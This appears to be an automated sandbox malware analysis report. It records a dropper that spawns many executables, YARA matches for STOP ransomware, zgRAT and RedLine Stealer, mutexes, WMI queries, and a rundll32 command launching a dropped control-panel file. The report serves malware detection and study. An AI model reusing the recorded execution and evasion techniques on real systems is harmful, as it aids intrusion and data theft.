Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68948B30	14_2_68948B30
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689BAC29	14_2_689BAC29
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68962D70	14_2_68962D70
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68994EE0	14_2_68994EE0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6895A0C0	14_2_6895A0C0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689963B0	14_2_689963B0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689A2310	14_2_689A2310
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68984550	14_2_68984550
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689BA54D	14_2_689BA54D
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68946650	14_2_68946650
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6894C7B0	14_2_6894C7B0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6894A7E0	14_2_6894A7E0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689958D5	14_2_689958D5
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689958D7	14_2_689958D7
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68995830	14_2_68995830
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689BB964	14_2_689BB964
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689B9AAB	14_2_689B9AAB
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68983C90	14_2_68983C90
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689A1CA0	14_2_689A1CA0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689B5DD2	14_2_689B5DD2
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68995DD0	14_2_68995DD0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68995EB9	14_2_68995EB9
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68983E50	14_2_68983E50
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689B9FFC	14_2_689B9FFC
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689BBFF1	14_2_689BBFF1
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68995050	14_2_68995050
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68995274	14_2_68995274
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68983260	14_2_68983260
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68983460	14_2_68983460
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A28E40	14_2_02A28E40
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A2BDA8	14_2_02A2BDA8
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A21648	14_2_02A21648
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A20E48	14_2_02A20E48
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A20E58	14_2_02A20E58
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_02A27DC8	14_2_02A27DC8
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_05BC0EB3	14_2_05BC0EB3
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_05BC26F8	14_2_05BC26F8
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_05BC0930	14_2_05BC0930
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_05BC26DC	14_2_05BC26DC

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Security

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: String function: 689AD520 appears 31 times
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: String function: 689A9B35 appears 141 times
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: String function: 689A90D8 appears 51 times
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: String function: 00AA5050 appears 48 times
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: String function: 02238EC0 appears 57 times
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: String function: 02240160 appears 50 times
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: String function: 00404ED0 appears 35 times
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: String function: 00455050 appears 48 times

Source: crt[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: xS7PhKcNZTx4FuBAD1RB9kbJ.exe.0.dr

Static PE information: No import functions for PE file found

Source: CHA0VZiz8y.exe	Binary or memory string: OriginalFilename vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAcq.dll\< vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAcq.dll\< vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2158978752.0000000004440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2124585502.0000000004478000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesFilezera2 vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2158825080.0000000004BB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs CHA0VZiz8y.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFancyZonesEditor.dll4 vs CHA0VZiz8y.exe

Source: 26.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: Process Memory Space: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe PID: 3680, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995935120558376
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9985767926356589
Source: niko[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99365234375
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9995935120558376
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9985767926356589
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99365234375
Source: J9jGBSSbDD3yrTx79DzmOLls.exe.0.dr	Static PE information: Section: .data ZLIB complexity 0.9892578125
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978736139112904
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9941860465116279
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@110/214@0/27

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_021707C6 CreateToolhelp32Snapshot,Module32First,

7_2_021707C6

Source: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe

File created: C:\Program Files\Windows Media Player\background.jpg

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7232:120:WilError_03
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_15
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe

File created: C:\Users\user\AppData\Local\Temp\trixyLYB3bTQWTO7U

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: 9~uN	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: r	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: E%os	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: ?<l-	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: z&i>	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: 8*@	7_2_0040177E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Command line argument: 8Y<6	7_2_0040177E

Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

File read: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Windows\SysWOW64\control.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",

Source: CHA0VZiz8y.exe, 00000000.00000003.2052702628.0000000000400000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2412636025.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2613733095.000000000063D000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: CHA0VZiz8y.exe, 00000000.00000003.2052702628.0000000000400000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2412636025.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2613733095.000000000063D000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2397688403.0000000005AFB000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2416564866.0000000005BB7000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566336684.00000000061C3000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566643344.00000000061C3000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2605527906.0000000001CA3000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2513685356.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2515034544.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2514374481.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2514670830.00000000010B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: CHA0VZiz8y.exe	ReversingLabs: Detection: 39%
Source: CHA0VZiz8y.exe	Virustotal: Detection: 41%

Source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe	String found in binary or memory: set-addPolicy
Source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\CHA0VZiz8y.exe "C:\Users\user\Desktop\CHA0VZiz8y.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe
